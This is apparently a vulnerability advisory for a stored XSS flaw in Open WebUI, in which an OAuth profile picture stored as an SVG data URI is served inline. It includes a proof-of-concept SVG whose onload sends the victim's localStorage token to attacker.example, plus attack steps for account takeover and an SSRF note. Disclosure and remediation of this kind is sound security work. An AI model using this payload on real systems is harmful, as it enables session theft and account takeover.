Open WebUI vulnerable to stored XSS via OAuth picture claim stored as SVG data URI in profile_image_url
When a user signs in via OAuth, Open WebUI fetches the picture claim URL, infers a MIME type from the URL extension via mimetypes.guess_type, and stores data:<mime>;base64,... as the user's profile image. The OAuth code path does not go through the validate_profile_image_url Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A .svg URL in the picture claim lands in the database as data:image/svg+xml;base64,....
The profile image endpoint GET /api/v1/users/{id}/profile/image returns the stored data URI with the attacker-controlled MIME type as Content-Type and Content-Disposition: inline. Security headers (CSP, X-Content-Type-Options) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing <script>/onload in the same origin and able to read localStorage.token → account takeover.
Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path.
backend/open_webui/utils/oauth.py:1336-1345 — _process_picture_url:
response = await client.get(picture_url, ...)
if response.status_code == 200:
picture = response.content
base64_encoded_picture = base64.b64encode(picture).decode("utf-8")
guessed_mime_type = mimetypes.guess_type(picture_url)[0]
if guessed_mime_type is None:
guessed_mime_type = "image/jpeg"
return f"data:{guessed_mime_type};base64,{base64_encoded_picture}"
No MIME allowlist. The upstream Content-Type is ignored. For a URL ending in .svg, mimetypes.guess_type returns image/svg+xml.
backend/open_webui/utils/validate.py:10-36 defines validate_profile_image_url, which only accepts /user.png, /user-mono.png, and data:image/{png,jpeg,gif,webp};base64,....
This validator is wired into Pydantic form models (SignupForm, UpdateProfileForm, UserUpdateForm), but the OAuth flow at oauth.py:1536-1540 (existing-user login) and oauth.py:1556-1574 (new-user signup) writes via Users.update_user_profile_image_url_by_id and Auths.insert_new_auth, both of which call SQLAlchemy directly (models/users.py:575-588) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged.
inline dispositionbackend/open_webui/routers/users.py:504-528 — get_user_profile_image_by_id:
header, encoded = image.split(",", 1)
media_type = header.split(";")[0].lstrip("data:") # "image/svg+xml"
data = base64.b64decode(encoded)
return StreamingResponse(
iter([data]),
media_type=media_type,
headers={"Content-Disposition": "inline"},
)
No MIME whitelist. The route requires get_verified_user — any authenticated user reaches it.
backend/open_webui/utils/security_headers.py:16-61 populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level image/svg+xml response as an XML document and execute embedded script.
Prerequisites: operator has OAuth signup enabled (ENABLE_OAUTH_SIGNUP=true) or OAuth login with picture sync (OAUTH_UPDATE_PICTURE_ON_LOGIN=true). The attacker has a valid identity on the configured IdP and can set their profile picture URL.
https://attacker.example/p.svg:<svg xmlns="http://www.w3.org/2000/svg"
onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" />
Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores data:image/svg+xml;base64,... in the attacker's profile_image_url.
Attacker shares a link to their own profile image with a victim in a chat DM or channel:
https://target.example/api/v1/users/<attacker-user-id>/profile/image
Content-Type: image/svg+xml with Content-Disposition: inline, renders the SVG as a top-level document, fires onload, and exfiltrates the victim's JWT. Attacker uses the JWT to take over the victim's account.workspace.tools permission — RCE via installed tools (per CVE-2025-64496 analysis)._process_picture_url function has no SSRF allowlist; a secondary primitive is to point the picture claim at an internal URL (metadata service, internal admin panel) and read the response bytes via the profile image endpoint.In _process_picture_url (utils/oauth.py:1336-1345): reject any MIME outside {image/png, image/jpeg, image/gif, image/webp}. Use the upstream Content-Type response header, not the URL extension. Also add an SSRF allowlist or at minimum block RFC1918 / link-local / loopback targets.
In get_user_profile_image_by_id (routers/users.py:504-528): enforce a MIME whitelist before building StreamingResponse. This is the defense-in-depth layer that should have caught the bypass.
Apply validate_profile_image_url at the model/storage layer (Users.update_user_profile_image_url_by_id), not only at the Pydantic form layer. All write paths to the profile image column should go through the same validator.
Set X-Content-Type-Options: nosniff and a default CSP unless the operator explicitly disables them.
backend/open_webui/utils/oauth.py:1318-1351 — MIME guess + fetchbackend/open_webui/utils/oauth.py:1536-1574 — OAuth write pathbackend/open_webui/utils/validate.py:10-36 — validator (bypassed)backend/open_webui/models/users.py:575-588 — DB writebackend/open_webui/routers/users.py:504-528 — serving endpointbackend/open_webui/utils/security_headers.py:16-61 — env-gated headers왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 73.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 73.00 |
VPI 공식 vpi-v1 기준